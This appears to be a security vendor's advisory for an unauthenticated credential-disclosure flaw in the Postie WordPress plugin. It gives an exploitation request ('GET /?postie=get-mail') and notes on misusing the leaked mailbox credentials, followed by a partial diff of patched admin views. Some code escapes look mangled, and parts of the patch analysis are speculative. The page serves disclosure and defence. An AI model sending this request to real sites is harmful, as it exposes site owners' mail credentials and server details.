Published : November 25, 2026

CVE-2026-110706: Postie <= 1.9.89 Sensitive Information Exposure (Credential Disclosure) via Missing Authorization to Unauthenticated Sensitive Information Disclosure via 'postie=get-mail' Query Parameter PoC, Patch Analysis & Rule

Plugin postie
Severity Medium (CVSS 5.9)
CWE 862
Vulnerable Version 1.9.89
Patched Version 1.9.90
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-110706: CVE-2026-110706 is a Sensitive Information Exposure vulnerability in the Postie WordPress plugin (versions <= 1.9.89). The flaw allows unauthenticated attackers to retrieve plaintext POP3/IMAP credentials, SMTP configuration, absolute filesystem paths, and executed SQL queries by sending a crafted request with the 'postie=get-mail' query parameter when debug logging (postie_log_debug) is enabled. The CVSS score is 5.9 (Medium), and the weakness is classified as CWE-862 (Missing Authorization).

The root cause lies in the plugin's failure to enforce authorization and authentication checks on the mail-fetch debug output path. In the patched version, settings-page.php introduces a nonce check for POST actions, but the mail-fetch trigger via the 'postie' parameter (likely handled in a separate file, not shown in the truncated diff) lacks a capability check. When 'postie=get-mail' is supplied and debug logging is enabled, the plugin executes postie_get_mail() and outputs debug data, including credentials and SQL queries, directly into the HTTP response. The code does not verify that the requester is an authenticated administrator.

Exploitation requires only a single unauthenticated GET request to the WordPress frontend or admin endpoint with the parameter 'postie=get-mail'. For example: GET /?postie=get-mail HTTP/1.1. If the site administrator has enabled 'postie_log_debug', the response body will contain the debug log, exposing plaintext mailbox passwords, SMTP settings, absolute server paths, and SQL queries. Attackers can harvest these credentials for further compromise, such as accessing the mail server or escalating privileges via the database.

The patch in settings-page.php adds nonce verification and capability checks (current_user_can('manage_options')) for admin actions. However, the mail-fetch trigger via the 'postie' parameter likely resides outside this file and is not addressed in the visible diff. The core fix requires restricting the debug output to authenticated users with the 'manage_options' capability, but the provided patch does not fully remediate the unauthenticated endpoint. This partial patch leaves the 'postie=get-mail' vector open if the debug output still bypasses authorization.

If exploited, this vulnerability leads to credential disclosure, allowing attackers to access the mail server, potentially read or send emails, and use the SMTP configuration for spam or phishing. Exposed SQL queries may reveal database structure, facilitating SQL injection attacks. Absolute paths aid in further exploitation, such as local file inclusion. The impact is severe for confidentiality, though integrity and availability are not directly affected.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/postie/admin/postie-admin.class.php
+++ b/postie/admin/postie-admin.class.php
@@ -0,0 +1,117 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+class PostieAdmin {
+
+    /**
+     * Normalizes a form field name into a valid, CSS/JS-friendly HTML element ID without brackets.
+     * E.g. "postie-settings[my_field]" becomes "postie-settings-my_field".
+     *
+     * @param string $name
+     * @return string
+     */
+    static function normalize_id($name) {
+        return str_replace(array('[', ']'), array('-', ''), rtrim((string)$name, ']'));
+    }
+
+    /**
+     * Takes a value and builds a simple yes/no select box
+     */
+    static function boolean_select_html($label, $id, $current_value, $recommendation = NULL, $options = null) {
+        $element_id = self::normalize_id($id);
+
+        $html = "<tr>nt<th scope='row'><label for='" . esc_attr($element_id) . "'>" . esc_html($label) . "</label>";
+
+        if (!(is_array($options) && count($options) == 2)) {
+            $options = array(__('Yes', 'postie'), __('No', 'postie'));
+        }
+
+        $html .= "</th>nt<td><select name='" . esc_attr($id) . "' id='" . esc_attr($element_id) . "'>
+            <option value='1'>" . esc_html($options[0]) . "</option>
+            <option value='0' " . (!$current_value ? "selected='selected'" : "") . ">" . esc_html($options[1]) . '</option>
+        </select>';
+        if (!empty($recommendation)) {
+            $html .= '<p class="description">' . $recommendation . '</p>';
+        }
+        $html .= "</td>n</tr>";
+
+        return $html;
+    }
+
+    /**
+     * This takes an array or newline string and displays a textarea for editing
+     */
+    static function textarea_html($label, $id, $current_value, $recommendation = NULL) {
+        $element_id = self::normalize_id($id);
+
+        $html = "<tr><th scope='row'><label for='" . esc_attr($element_id) . "'>" . esc_html($label) . "</label></th>";
+
+        $html .= "<td><br /><textarea cols=40 rows=3 name='" . esc_attr($id) . "' id='" . esc_attr($element_id) . "'>";
+        $current_value = preg_split("/[rn]+/", esc_attr(trim($current_value)));
+        if (is_array($current_value)) {
+            foreach ($current_value as $item) {
+                $html .= "$itemn";
+            }
+        }
+        $html .= "</textarea>";
+        if ($recommendation) {
+            $html .= "<p class='description'>" . $recommendation . "</p>";
+        }
+        $html .= "</td></tr>";
+        return $html;
+    }
+
+    /**
+     * Takes an associative array of key => label options and builds a select dropdown
+     */
+    static function select_html2($label, $id, $current_value, $options, $recommendation = NULL) {
+        $element_id = self::normalize_id($id);
+
+        $html = "<tr>nt<th scope='row'><label for='" . esc_attr($element_id) . "'>" . esc_html($label) . "</label></th>n";
+
+        $html .= "<td><select name='" . esc_attr($id) . "' id='" . esc_attr($element_id) . "'>n";
+        foreach ($options as $key => $value) {
+            $html .= "<option value='" . esc_attr($key) . "' " . ($key == $current_value ? "selected='selected'" : "") . ">" . esc_html($value) . "</option>n";
+        }
+        $html .= '</select>';
+        if (!empty($recommendation)) {
+            $html .= '<p class="description">' . $recommendation . '</p>';
+        }
+        $html .= "</td>n</tr>n";
+
+        return $html;
+    }
+
+    /**
+     * Takes a list of options and builds a select dropdown (delegates to select_html2)
+     */
+    static function select_html($label, $id, $current_value, $options, $recommendation = NULL) {
+        $assoc_options = array_combine($options, $options);
+        return self::select_html2($label, $id, $current_value, $assoc_options, $recommendation);
+    }
+
+    /**
+     * Generates HTML <option> tags for attachment template dropdowns
+     *
+     * @param array  $templates      Key => template content array
+     * @param string $selected_key   Currently selected template key
+     * @param string $custom_content Content to inject if key is 'custom'
+     * @return string
+     */
+    static function template_options_html($templates, $selected_key, $custom_content = '') {
+        $html = '';
+        foreach ($templates as $key => $value) {
+            if ($key === 'selected') {
+                continue;
+            }
+            if ($key === 'custom') {
+                $value = $custom_content;
+            }
+            $html .= '<option' . selected($key, $selected_key, false) . ' value="' . esc_attr($value) . '">' . esc_html($key) . '</option>';
+        }
+        return $html;
+    }
+
+}
--- a/postie/admin/views/modal-process.php
+++ b/postie/admin/views/modal-process.php
@@ -0,0 +1,23 @@
+<?php
+/**
+ * Postie Process Email Modal View
+ */
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+?>
+<!-- Process Email Modal -->
+<div id="postie-modal-backdrop" class="postie-modal-backdrop" style="display:none;" aria-hidden="true">
+    <div id="postie-modal" class="postie-modal" role="dialog" aria-modal="true" aria-labelledby="postie-modal-title">
+        <div class="postie-modal-header">
+            <h3 id="postie-modal-title" class="postie-modal-title"><?php esc_html_e( 'Process Email', 'postie' ); ?></h3>
+            <button type="button" class="postie-modal-close" aria-label="<?php esc_attr_e( 'Close', 'postie' ); ?>">×</button>
+        </div>
+        <div class="postie-modal-body" id="postie-modal-body">
+            <!-- Dynamically populated via postie-admin.js -->
+        </div>
+        <div class="postie-modal-footer" id="postie-modal-footer">
+            <button type="button" class="button button-secondary postie-modal-close-btn"><?php esc_html_e( 'Close', 'postie' ); ?></button>
+        </div>
+    </div>
+</div>
--- a/postie/admin/views/settings-page.php
+++ b/postie/admin/views/settings-page.php
@@ -0,0 +1,205 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+if (!current_user_can('manage_options')) {
+    wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'postie'));
+}
+require_once dirname(dirname(__FILE__)) . '/postie-admin.class.php';
+
+if (isset($_POST['action'])) {
+    $postie_nonce = isset($_POST['postie_action_nonce']) ? sanitize_key(wp_unslash($_POST['postie_action_nonce'])) : '';
+    if (empty($postie_nonce) || !wp_verify_nonce($postie_nonce, 'postie_action_nonce_action')) {
+        wp_die(esc_html__('Security check failed. Please refresh the page and try again.', 'postie'));
+    }
+    switch ($_POST['action']) {
+        case 'reset':
+            $pconfig = new PostieConfig();
+            $pconfig->reset_to_default();
+            $message = 1;
+            break;
+        case 'test':
+            $g_postie->test_config();
+            exit;
+            break;
+        case 'runpostie':
+            DebugEcho(__("Checking for mail manually", 'postie'));
+            postie_get_mail();
+            exit;
+            break;
+        case 'runpostie-debug':
+            DebugEcho(__("Checking for mail manually with debug output", 'postie'));
+            if (!defined('POSTIE_DEBUG')) {
+                define('POSTIE_DEBUG', true);
+            }
+            postie_get_mail();
+            exit;
+            break;
+        default:
+            $message = 2;
+            break;
+    }
+}
+global $wpdb, $wp_roles; //don't remove - used in included files
+
+$pconfig = new PostieConfig();
+$config_dto = $pconfig->config_read();
+$config = $config_dto ? $config_dto->toArray() : array();
+if (empty($config)) {
+    $config = $pconfig->reset_to_default();
+}
+
+$arrays = $pconfig->arrayed_settings();
+// some fields are stored as arrays, because that makes back-end processing much easier
+// and we need to convert those fields to strings here, for the options form
+foreach ($arrays as $sep => $fields) {
+    foreach ($fields as $field) {
+        if (isset($config[$field]) && is_array($config[$field])) {
+            $config[$field] = implode($sep, $config[$field]);
+        }
+    }
+}
+
+if (!isset($config['maxemails'])) {
+    DebugEcho(__("New setting: maxemails", 'postie'));
+    $config['maxemails'] = 0;
+}
+if (!isset($config['category_match'])) {
+    $config['category_match'] = true;
+}
+
+$settings = new PostieSettings($config);
+
+if ($settings->interval == 'manual') {
+    wp_clear_scheduled_hook('check_postie_hook');
+}
+
+$messages[1] = __("Configuration successfully updated!", 'postie');
+$messages[2] = __("Error - unable to save configuration", 'postie');
+
+$views_dir = dirname(__FILE__);
+$tabs_dir  = $views_dir . '/tabs';
+
+$default_tabs = array(
+    'server'      => array(
+        'label' => __('Mailserver', 'postie'),
+        'view'  => $tabs_dir . '/tab-server.php',
+    ),
+    'user'        => array(
+        'label' => __('User', 'postie'),
+        'view'  => $tabs_dir . '/tab-user.php',
+    ),
+    'message'     => array(
+        'label' => __('Message', 'postie'),
+        'view'  => $tabs_dir . '/tab-message.php',
+    ),
+    'image'       => array(
+        'label' => __('Image', 'postie'),
+        'view'  => $tabs_dir . '/tab-image.php',
+    ),
+    'media'       => array(
+        'label' => __('Video and Audio', 'postie'),
+        'view'  => $tabs_dir . '/tab-media.php',
+    ),
+    'attachments' => array(
+        'label' => __('Attachments', 'postie'),
+        'view'  => $tabs_dir . '/tab-attachments.php',
+    ),
+    'support'     => array(
+        'label' => __('Support', 'postie'),
+        'view'  => $tabs_dir . '/tab-support.php',
+    ),
+);
+
+$filtered_tabs = apply_filters('postie_admin_tabs', $default_tabs);
+$tabs = (is_array($filtered_tabs) && !empty($filtered_tabs)) ? $filtered_tabs : $default_tabs;
+?>
+<div class="wrap">
+    <h2>
+        <a style='text-decoration:none' href='admin.php?page=postie-settings'>
+            <?php
+            echo '<img src="' . esc_url(POSTIE_URL . 'images/mail.png') . '" alt="postie" />';
+            esc_html_e('Postie Settings', 'postie');
+            ?>
+        </a>
+        <span class="description">(v<?php echo esc_html(POSTIE_VERSION); ?>)</span>
+    </h2>
+
+    <?php if (isset($_GET['message']) && array_key_exists((int)$_GET['message'], $messages)) : ?>
+        <div class="updated"><p><?php echo esc_html($messages[(int)$_GET['message']]); ?></p></div>
+    <?php endif; ?>
+
+    <div id="poststuff">
+        <div id="post-body" class="metabox-holder columns-2">
+            <!-- main content -->
+            <div id="post-body-content" style="position: relative;">
+                <div class="meta-box-sortables ui-sortable">
+                    <div class="inside">
+                        <form name="postie-options" method="post" action='options.php' autocomplete="off">
+                            <!-- fake fields are a workaround for chrome autofill getting the wrong fields -->
+                            <input style="display:none" type="text" name="fakeusernameremembered"/>
+                            <input style="display:none" type="password" name="fakepasswordremembered"/>
+
+                            <?php settings_fields('postie-settings'); ?>
+                            <div id="simpleTabs">
+                                <h2 class="nav-tab-wrapper">
+                                    <?php
+                                    $tab_index = 1;
+                                    foreach ($tabs as $tab_key => $tab_data) :
+                                        if (!is_array($tab_data)) {
+                                            continue;
+                                        }
+                                        $clean_key = sanitize_key($tab_key);
+                                        $tab_label = !empty($tab_data['label']) ? $tab_data['label'] : ucfirst($clean_key);
+                                        $is_active = ($tab_index === 1) ? ' nav-tab-active' : '';
+                                        ?>
+                                        <a href="#tab-<?php echo esc_attr($clean_key); ?>" id="simpleTabs-nav-<?php echo (int)$tab_index; ?>" data-tab="<?php echo esc_attr($clean_key); ?>" data-tab-index="<?php echo (int)$tab_index; ?>" class="nav-tab<?php echo $is_active; ?>"><?php echo esc_html($tab_label); ?></a>
+                                        <?php
+                                        $tab_index++;
+                                    endforeach;
+                                    ?>
+                                </h2>
+
+                                <?php
+                                $tab_index = 1;
+                                foreach ($tabs as $tab_key => $tab_data) :
+                                    if (!is_array($tab_data)) {
+                                        continue;
+                                    }
+                                    $clean_key = sanitize_key($tab_key);
+                                    ?>
+                                    <div id="postie-tab-content-<?php echo esc_attr($clean_key); ?>" class="simpleTabs-content" data-tab-content="<?php echo esc_attr($clean_key); ?>" data-tab-index="<?php echo (int)$tab_index; ?>"<?php if ($tab_index !== 1) echo ' style="display:none;"'; ?>>
+                                        <?php
+                                        if (!empty($tab_data['view']) && is_string($tab_data['view']) && file_exists($tab_data['view']) && pathinfo($tab_data['view'], PATHINFO_EXTENSION) === 'php') {
+                                            include $tab_data['view'];
+                                        } elseif (isset($tab_data['callback']) && is_callable($tab_data['callback'])) {
+                                            call_user_func($tab_data['callback']);
+                                        }
+                                        do_action('postie_admin_tab_' . $clean_key);
+                                        ?>
+                                    </div>
+                                    <?php
+                                    $tab_index++;
+                                endforeach;
+                                ?>
+                            </div>
+
+                            <p class="submit" style="clear: both;">
+                                <input type="hidden" name="action" value="update" />
+                                <input type="hidden" name="page_options" value="postie-settings" />
+                                <input type="submit" name="Submit" value="<?php esc_attr_e('Save Changes', 'postie') ?>" class="button button-primary" />
+                            </p>
+                        </form>
+                    </div>
+                </div>
+            </div>
+
+            <!-- sidebar -->
+            <?php include dirname(__FILE__) . '/settings-sidebar.php'; ?>
+            <br class="clear">
+        </div>
+    </div>
+
+    <!-- Process Email Modal -->
+    <?php include dirname(__FILE__) . '/modal-process.php'; ?>
+</div>
--- a/postie/admin/views/settings-sidebar.php
+++ b/postie/admin/views/settings-sidebar.php
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Postie Settings Sidebar View
+ */
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+?>
+<div id="postbox-container-1" class="postbox-container">
+    <div class="meta-box-sortables ui-sortable">
+
+        <div class="postbox">
+            <h3 class="hndle ui-sortable-handle"><span><?php esc_html_e( 'Actions', 'postie' ); ?></span></h3>
+            <div class="inside">
+                <div class="submitbox">
+                    <p><?php esc_html_e( 'To run the check mail script manually', 'postie' ); ?></p>
+                    <form name="postie-options" method='post'>
+                        <?php wp_nonce_field('postie_action_nonce_action', 'postie_action_nonce'); ?>
+                        <input type="hidden" name="action" value="runpostie" />
+                        <input id="postie-run-manual" name="Submit" value="<?php esc_attr_e( 'Process Email', 'postie' ); ?>" type="submit" class='button postie-run-btn'>
+                    </form>
+
+                    <p><?php esc_html_e( 'To run the check mail script manually with full debug output', 'postie' ); ?></p>
+                    <form name="postie-options" method='post'>
+                        <?php wp_nonce_field('postie_action_nonce_action', 'postie_action_nonce'); ?>
+                        <input type="hidden" name="action" value="runpostie-debug" />
+                        <input id="postie-run-debug" name="Submit" value="<?php esc_attr_e( 'Debug', 'postie' ); ?>" type="submit" class='button postie-run-btn'>
+                    </form>
+
+                    <p><?php esc_html_e( 'Test your configuration (save first)', 'postie' ); ?></p>
+                    <form name="postie-options" method="post">
+                        <?php wp_nonce_field('postie_action_nonce_action', 'postie_action_nonce'); ?>
+                        <input type="hidden" name="action" value="test" />
+                        <input id="postie-run-test" name="Submit" value="<?php esc_attr_e( 'Test Config', 'postie' ); ?>" type="submit" class='button postie-run-btn'>
+                    </form>
+                </div>
+            </div>
+        </div>
+
+        <div class="postbox">
+            <h3 class="hndle ui-sortable-handle"><span><?php esc_html_e( 'Getting Started', 'postie' ); ?></span></h3>
+            <div class="inside">
+                <p><?php echo wp_kses_post( sprintf( __( 'Be sure and check out the <a href="%s" target="_blank">getting started</a> guide.', 'postie' ), 'http://postieplugin.com/getting-started/' ) ); ?></p>
+                <p><?php echo wp_kses_post( sprintf( __( 'Please use the Postie <a href="%s" target="_blank">support forums</a> if you need help.', 'postie' ), 'https://wordpress.org/support/plugin/postie' ) ); ?></p>
+            </div>
+        </div>
+
+        <div class="postbox">
+            <h3 class="hndle ui-sortable-handle"><span><?php esc_html_e( 'AddOns', 'postie' ); ?></span></h3>
+            <div class="inside">
+                <p><?php echo wp_kses_post( sprintf( __( 'There are a number of different AddOns available to extend Postie's functionality. See <a href="%s" target="_blank">the list</a> for more information.', 'postie' ), 'http://postieplugin.com/add-ons/' ) ); ?></p>
+            </div>
+        </div>
+
+        <div class="postbox">
+            <h3 class="hndle ui-sortable-handle"><span><?php esc_html_e( 'Donations', 'postie' ); ?></span></h3>
+            <div class="inside">
+                <p style="font-weight: bolder; margin-top: 0px; margin-bottom: 2px;"><?php esc_html_e( 'Please Donate, Every $ Helps!', 'postie' ); ?></p>
+                <p style="margin-top: 0;margin-bottom: 2px;"><?php esc_html_e( 'Your generous donation allows me to continue developing Postie for the WordPress community.', 'postie' ); ?></p>
+                <form action="https://www.paypal.com/cgi-bin/webscr" method="post">
+                    <input type="hidden" name="cmd" value="_s-xclick">
+                    <input type="hidden" name="hosted_button_id" value="HPK99BJ88V4C2">
+                    <div style="text-align:center;">
+                        <input style="border: none; margin: 0;" type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_donate_SM.gif" name="submit" alt="<?php esc_attr_e( 'PayPal - The safer, easier way to pay online!', 'postie' ); ?>">
+                    </div>
+                </form>
+            </div>
+        </div>
+
+    </div>
+</div>
--- a/postie/admin/views/tabs/tab-attachments.php
+++ b/postie/admin/views/tabs/tab-attachments.php
@@ -0,0 +1,76 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+?>
+    <table class='form-table'>
+        <?php echo PostieAdmin::textarea_html(__("Supported MIME Types", 'postie'), "postie-settings[supported_file_types]", $settings->supported_file_types, __("Add just the type (not the subtype). Text, Video, Audio, Image and Multipart are always supported. Put each type on a single line", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+        <?php echo PostieAdmin::textarea_html(__("Banned File Names", 'postie'), "postie-settings[banned_files_list]", $settings->banned_files_list, __("Put each file name on a single line. Files matching this list will never be posted to your blog. You can use wildcards such as *.xls, or *.* for all files", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+
+        <tr>
+            <th scope='row'><?php esc_html_e('Attachment icon set', 'postie') ?></th>
+            <td>
+                <input type='hidden' id='postie-settings-icon_set' name='postie-settings[icon_set]'
+                       value="<?php echo esc_attr($settings->icon_set) ?>" />
+
+                <?php
+                $icon_sets = array('silver', 'black', 'white', 'metro', 'custom', 'none');
+                $icon_sizes = array(32, 48, 64);
+                ?>
+                <select name='icon_set_select' id='icon_set_select'>
+                    <?php
+                    $styleOptions = $icon_sets;
+                    $selected = $settings->icon_set;
+                    foreach ($styleOptions as $key) {
+                        if ($key != 'selected') {
+                            echo '<option ' . selected($key, $selected, false) . ' value="' . esc_attr($key) . '" >' . esc_html($key) . '</option>';
+                        }
+                    }
+                    ?>
+                </select>
+                <div id='postie-settings-attachment_preview'></div>
+            </td>
+        </tr>
+        <tr>
+            <th scope='row'><?php esc_html_e('Attachment icon size (in pixels)', 'postie') ?></th>
+            <td>
+                <input type='hidden' id='postie-settings-icon_size' name='postie-settings[icon_size]'
+                       value="<?php echo esc_attr($settings->icon_size) ?>" />
+                <select name='icon_size_select' id='icon_size_select'>
+                    <?php
+                    $styleOptions = $icon_sizes;
+                    $selected = $settings->icon_size;
+                    foreach ($styleOptions as $key) {
+                        if ($key != 'selected') {
+                            echo '<option ' . selected($key, $selected, false) . ' value="' . esc_attr($key) . '" >' . esc_html($key) . '</option>';
+                        }
+                    }
+                    ?>
+                </select>
+            </td>
+        </tr>
+        <tr>
+            <th scope='row'><?php esc_html_e('Attachment template', 'postie') ?>:<br />
+            </th>
+            <td>
+                <input type='hidden' id='postie-settings-selected_generaltemplate' name='postie-settings[selected_generaltemplate]'
+                       value="<?php echo esc_attr($settings->selected_generaltemplate) ?>" />
+                <select name='generaltemplateselect' id='generaltemplateselect'>
+                    <?php
+                    include(POSTIE_ROOT . '/templates/general_template.php');
+                    echo PostieAdmin::template_options_html($generalTemplates, $settings->selected_generaltemplate, $settings->generaltemplate);
+                    ?>
+                </select>
+                <p class='description'><?php esc_html_e('Choose a default template, then customize to your liking in the text box', 'postie') ?></p>
+                <p class='description'><?php esc_html_e('Note that this template are only used if the attachment is not "inline" or if the email type is "plain"', 'postie'); ?></p>
+
+                <div style="margin-top: 10px; font-weight: bold;">
+                    <?php esc_html_e('Preview', 'postie'); ?>
+                </div>
+                <div id='generalTemplatePreview'></div>
+                <textarea cols='70' rows='7'
+                          id='postie-settings-generaltemplate'
+                          name='postie-settings[generaltemplate]'><?php echo esc_textarea($settings->generaltemplate); ?></textarea>
+            </td>
+        </tr>
+    </table>
--- a/postie/admin/views/tabs/tab-image.php
+++ b/postie/admin/views/tabs/tab-image.php
@@ -0,0 +1,73 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+?>
+    <table class='form-table'>
+
+        <?php
+        echo PostieAdmin::boolean_select_html(__("Use First Image as Featured Image", 'postie'), "postie-settings[featured_image]", $settings->featured_image, __("If any images are attached, the first one will be the featured image for the post", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Include Featured Image in Post", 'postie'), "postie-settings[include_featured_image]", $settings->include_featured_image, __("Should the featured image be included in the post.", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Automatically insert image gallery", 'postie'), "postie-settings[auto_gallery]", $settings->auto_gallery, __("If any images are attached, they will automatically be inserted as a gallery. If the 'Preferred Text Type' is 'HTML' this will add a galery in addition to the images in the email.", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::select_html(__("Gallery Link Type", 'postie'), "postie-settings[auto_gallery_link]", $settings->auto_gallery_link, array(__('Default', 'postie'), __('Post', 'postie'), __('File', 'postie'), __('None', 'postie')), "Select the type of link the gallery should use"); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Image/Attachment Location", 'postie'), "postie-settings[images_append]", $settings->images_append, __("Location of attachments. Before or After content. For 'html' content this will only affect attachments that are not inline.", 'postie'), array(__('After', 'postie'), __('Before', 'postie'))); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Start Image Count At", 'postie'), "postie-settings[start_image_count_at_zero]", $settings->start_image_count_at_zero, __('For use if using "Image Place Holder Tag" below.', 'postie'), array(__('Start at 0', 'postie'), __('Start at 1', 'postie'))); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Use custom image field for images", 'postie'), "postie-settings[custom_image_field]", $settings->custom_image_field, __("When set to 'Yes' no images will appear in the post (other attachment types will be processed normally). Instead the url to the attachment will be put into a custom field named 'image'. Your theme will need logic to display these attachments", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        //echo PostieAdmin::boolean_select_html(__("Create Alternate Image Sizes", 'postie'), "postie-settings[image_resize]", $settings->image_resize, __("Some hosts have issues with image resizing. Use this setting to disable resizing.", 'postie'));
+        ?>
+        <tr>
+            <th scope="row"><?php esc_html_e('Image Place Holder Tag', 'postie') ?></th>
+            <td>
+                <input name='postie-settings[image_placeholder]' type="text" id='postie-settings-image_placeholder' value="<?php echo esc_attr($settings->image_placeholder); ?>" size="50" /><br />
+                <p class='description'><?php esc_html_e("For use in 'plain' messages. The code for inserting an image. I.e. put "#img1# in your email where you want the first image to show. See also "Start Image Count At"", 'postie') ?></p>
+            </td>
+        </tr>
+        <tr>
+            <th scope="row"><?php esc_html_e('Image Template', 'postie') ?></th>
+            <td>
+                <input type='hidden' id='postie-settings-selected_imagetemplate' name='postie-settings[selected_imagetemplate]'
+                       value="<?php echo esc_attr($settings->selected_imagetemplate) ?>" />
+                <select name='imagetemplateselect' id='imagetemplateselect'>
+                    <?php
+                    include(POSTIE_ROOT . '/templates/image_templates.php');
+                    echo PostieAdmin::template_options_html($imageTemplates, $settings->selected_imagetemplate, $settings->imagetemplate);
+                    ?>
+                </select>
+                <p class='description'><?php esc_html_e('Choose a default template, then customize to your liking in the text box', 'postie'); ?></p>
+                <p class='description'><?php esc_html_e('Note that this template are only used if the "Preferred Text Type" setting is set to "plain"', 'postie'); ?></p>
+                <p class='description'><?php echo wp_kses_post(__('Sizes for thumbnail, medium, and large images can be chosen in the <a href="options-media.php">Media Settings</a>. The samples here use the default sizes, and will not reflect the sizes you have chosen.', 'postie')); ?></p>
+                <div style="margin-top: 10px; font-weight: bold;"><?php esc_html_e('Preview', 'postie'); ?></div>
+                <div id='imageTemplatePreview'></div>
+                <textarea cols='70' rows='7' id='postie-settings-imagetemplate' name='postie-settings[imagetemplate]'><?php echo esc_textarea($settings->imagetemplate); ?></textarea>
+                <div class='recommendation'>
+                    <ul>
+                        <li>{CAPTION} gets replaced with the caption you specified (if any)</li>
+                        <li>{FILELINK} gets replaced with the url to the media</li>
+                        <li>{FILENAME} gets replaced with the name of the attachment from the email</li>
+                        <li>{FILEID} gets replaced with the ID of the media</li>
+                        <li>{FILETYPE} The file extension (jpg, png, doc, pdf, etc)</li>
+                        <li>{FULL} same as {FILELINK}</li>
+                        <li>{HEIGHT} gets replaced with the height of the photo</li>
+                        <li>{ID} gets replaced with the post id</li>
+                        <li>{IMAGE} same as {FILELINK}</li>
+                        <li>{LARGEHEIGHT} gets replaced with the height of a large image</li>
+                        <li>{LARGEWIDTH} gets replaced with the width of a large image</li>
+                        <li>{LARGE} gets replaced with the url to the large-sized image</li>
+                        <li>{MEDIUMHEIGHT} gets replaced with the height of a medium image</li>
+                        <li>{MEDIUMWIDTH} gets replaced with the width of a medium image</li>
+                        <li>{MEDIUM} gets replaced with the url to the medium-sized image</li>
+                        <li>{PAGELINK} gets replaced with the URL of the file in WordPress</li>
+                        <li>{RELFILENAME} gets replaced with the relative path to the full-size image</li>
+                        <li>{THUMBHEIGHT} gets replaced with the height of a thumbnail image</li>
+                        <li>{THUMB} gets replaced with the url to the thumbnail image</li>
+                        <li>{THUMBNAIL} same as {THUMB}</li>
+                        <li>{THUMBWIDTH} gets replaced with the width of a thumbnail image</li>
+                        <li>{TITLE} same as {FILENAME}</li>
+                        <li>{URL} same as {FILELINK}</li>
+                        <li>{WIDTH} gets replaced with width of the photo</li>
+                        <li>{ICON} insert the icon for the attachment (for non-audio/image/video attachments only)</li>
+                    </ul>
+                </div>
+            </td>
+        </tr>
+    </table>
--- a/postie/admin/views/tabs/tab-media.php
+++ b/postie/admin/views/tabs/tab-media.php
@@ -0,0 +1,91 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+?>
+    <table class='form-table'>
+        <tr>
+            <th scope='row'><?php esc_html_e('Video template 1', 'postie') ?></th>
+            <td>
+                <input type='hidden' id='postie-settings-selected_video1template' name='postie-settings[selected_video1template]'
+                       value="<?php echo esc_attr($settings->selected_video1template) ?>" />
+                <select name='video1templateselect' id='video1templateselect'>
+                    <?php
+                    include(POSTIE_ROOT . '/templates/video1_templates.php');
+                    echo PostieAdmin::template_options_html($video1Templates, $settings->selected_video1template, $settings->video1template);
+                    ?>
+                </select>
+                <p class='description'><?php esc_html_e('Choose a default template, then customize to your liking in the text box', 'postie') ?></p>
+                <p class='description'><?php esc_html_e('Note that this template are only used if the video is not "inline" or the "Preferred Text Type" setting is set to "plain"', 'postie'); ?></p>
+
+                <div style="margin-top: 10px; font-weight: bold;"><?php esc_html_e('Preview', 'postie'); ?></div>
+                <div id='video1TemplatePreview'></div>
+                <textarea cols='70' rows='7' id='postie-settings-video1template' name='postie-settings[video1template]'><?php echo esc_textarea($settings->video1template); ?></textarea>
+            </td>
+        </tr>
+        <tr>
+            <th scope="row"><?php esc_html_e('Video 1 file extensions', 'postie') ?></th>
+            <td>
+                <br/><input name='postie-settings[video1types]' type="text" id='postie-settings-video1types'
+                            value="<?php if ($settings->video1types != '') echo esc_attr($settings->video1types); ?>" size="40" />
+                <p class='description'>
+                    <?php esc_html_e('Use video template 1 for files with these extensions (separated by commas)', 'postie') ?></p>
+            </td>
+        </tr>
+        <tr><td colspan="2"><hr /></td></tr>
+        <tr>
+            <th scope='row'><?php esc_html_e('Video template 2', 'postie') ?></th>
+            <td>
+                <input type='hidden' id='postie-settings-selected_video2template' name='postie-settings[selected_video2template]'
+                       value="<?php echo esc_attr($settings->selected_video2template) ?>" />
+                <select name='video2templateselect' id='video2templateselect'>
+                    <?php
+                    include(POSTIE_ROOT . '/templates/video2_templates.php');
+                    echo PostieAdmin::template_options_html($video2Templates, $settings->selected_video2template, $settings->video2template);
+                    ?>
+                </select>
+                <p class='description'><?php esc_html_e('Choose a default template, then customize to your liking in the text box', 'postie') ?></p>
+                <p class='description'><?php esc_html_e('Note that this template are only used if the video is not "inline" or the "Preferred Text Type" setting is set to "plain"', 'postie'); ?></p>
+
